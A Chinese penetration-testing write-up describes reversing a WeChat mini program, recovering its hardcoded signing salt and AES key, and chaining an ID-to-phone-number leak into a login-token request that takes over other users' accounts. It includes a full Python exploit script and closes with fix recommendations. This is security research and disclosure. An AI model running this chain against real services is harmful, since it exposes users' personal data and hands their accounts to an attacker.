死磕某小程序
字数 1280 2025-08-19 12:42:10
小程序渗透测试实战:逆向分析与越权登录漏洞挖掘
前言
本文记录了一个针对某小程序的完整渗透测试过程,涉及小程序逆向、加密算法分析、接口安全测试和越权登录漏洞挖掘。通过详细的技术分析,展示了如何突破小程序的安全防护机制,最终实现越权登录其他用户账户。
0x00 环境准备
-
抓包环境搭建
- 使用Burp Suite或Fiddler等代理工具拦截小程序网络请求
- 配置手机或模拟器的代理设置
-
小程序逆向
- 使用工具获取小程序包(wxapkg)
- 反编译小程序代码
- 分析关键业务逻辑和加密函数
0x01 登录流程分析
1. 登录请求加密分析
拦截登录请求包发现数据被加密,关键加密流程如下:
-
加密函数定位:通过逆向找到
Encrypt函数 -
密钥获取方式:
key = wx.getStorageSync("key"); // 从本地存储获取密钥 key = g(e); // 通过g函数处理获得最终密钥 -
密钥来源:
- 从特定接口的返回包中获取
nonFixedSax和fixedSax参数 - 这些参数用于生成最终加密密钥
- 从特定接口的返回包中获取
2. 签名机制分析
请求中存在签名验证机制(sign),构造流程:
-
添加两个额外参数:
saltValue: 固定值"c3Kx$0i67sds#"timestamp: 当前时间戳
-
参数排序:
- 对所有参数按键名首字母进行大小写敏感排序
-
签名生成:
- 将排序后的JSON字符串进行AES加密
- 加密结果转换为16进制
- 对16进制结果进行MD5哈希并转为大写
3. 关键JavaScript函数
function AES_Encrypt(word) {
var srcs = CryptoJS.enc.Utf8.parse(word);
var aaa=CryptoJS.enc.Hex.stringify(srcs);
return aaa.toString();
}
function yierjiami(ra) {
const jsonStr = ra;
const jsonObj = JSON.parse(jsonStr);
jsonObj.saltValue = "c3Kx$0i67sds#";
jsonObj.timestamp = Date.now().toString();
const sortedJsonObj = sortObjectKeys(jsonObj);
const sortedJsonStr = JSON.stringify(sortedJsonObj);
console.log(sortedJsonStr);
var aaa=AES_Encrypt(sortedJsonStr);
return [r(aaa).toUpperCase(),jsonObj.timestamp];
}
0x02 漏洞挖掘过程
1. 越权登录测试
-
初步尝试:
- 修改用户ID尝试登录其他账户
- 发现返回"请求过期"错误,表明签名验证有效
-
签名绕过:
- 分析签名生成算法
- 使用Python的execjs调用JavaScript函数生成有效签名
- 确保timestamp与签名匹配
2. 用户信息泄露接口发现
-
接口枚举:
- 通过逆向分析找到可能的用户信息查询接口
- 构造参数列表(userid、id等)进行爆破测试
-
敏感接口发现:
- 找到可通过id查询手机号的接口:
https://xxx.xxx.com.cn/Pacificlife/myConsumer/detail - 请求示例:
{ "id": "111" }
- 找到可通过id查询手机号的接口:
3. 完整攻击链构建
-
攻击步骤:
- 通过userid和签名获取手机号
- 对手机号进行AES加密
- 使用加密后的手机号和userid获取有效token
- 使用该token替换原有token实现越权登录
-
Python实现:
import execjs
import requests
import json
import binascii
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
# JavaScript加密函数
md5_js = """
// 此处包含完整的JavaScript加密函数
"""
def aes_ecb_encrypt_hex(plaintext, key):
cipher = AES.new(key, AES.MODE_ECB)
padded_plaintext = pad(plaintext.encode(), AES.block_size)
ciphertext = cipher.encrypt(padded_plaintext)
return binascii.hexlify(ciphertext).decode()
# 第一步:通过ID获取手机号
id = 111
content = '{"id":"%s"}' % id
ctx = execjs.compile(md5_js)
sign, time = ctx.call('yierjiami', content)
headers = {
"syscode": "TXQMP",
"charset": "utf-8",
"identify": "e4750356-9f8e-4a63-bdc3-80aca36699b6",
"sign": sign,
"User-Agent": "Mozilla/5.0...",
"content-type": "application/json",
"token": "eyJhbGciOiJIUzUxMiJ9...",
"Accept-Encoding": "gzip, deflate",
"timestamp": time
}
response = requests.get("https://xxx.xxx.com.cn/Pacificlife/myConsumer/detail",
json.loads(content), headers=headers, verify=False)
phone = json.loads(response.text)['data']['secPhone']
# 第二步:加密手机号
key_hex = b'3631475463441074'
ciphertext = aes_ecb_encrypt_hex(phone, key_hex)
# 第三步:获取登录token
content = '{"id":"%s","phone":"%s","name":"","salesCode":"","password":"","type":"1"}' % (id, ciphertext)
sign, time = ctx.call('yierjiami', content)
headers['sign'] = sign
headers['timestamp'] = time
response = requests.post("https://xxx.xxx.com.cn/Pacificlife/consumer/login",
data=json.dumps(json.loads(content)),
headers=headers, verify=False)
token = json.loads(response.text)['data']['token']
0x03 漏洞修复建议
-
接口权限控制:
- 严格限制用户信息查询接口的访问权限
- 确保用户只能查询自己的信息
-
加密改进:
- 使用更安全的密钥管理方案,避免密钥硬编码或可预测
- 考虑使用非对称加密或更复杂的密钥派生函数
-
签名机制增强:
- 引入随机数防止重放攻击
- 增加请求有效性验证,如IP限制、请求频率限制等
-
敏感信息保护:
- 避免在接口中直接返回用户敏感信息
- 对必要返回的敏感信息进行脱敏处理
-
登录流程安全:
- 增加多因素认证
- 实现完善的会话管理机制
总结
本案例展示了小程序安全测试的完整流程,从逆向分析到漏洞利用。关键点在于:
- 深入分析加密算法和签名机制
- 通过接口枚举发现信息泄露漏洞
- 构建完整的攻击链实现越权登录
- 自动化脚本编写提高测试效率
这种类型的漏洞危害性高,开发人员应重视接口权限控制和加密算法的安全性。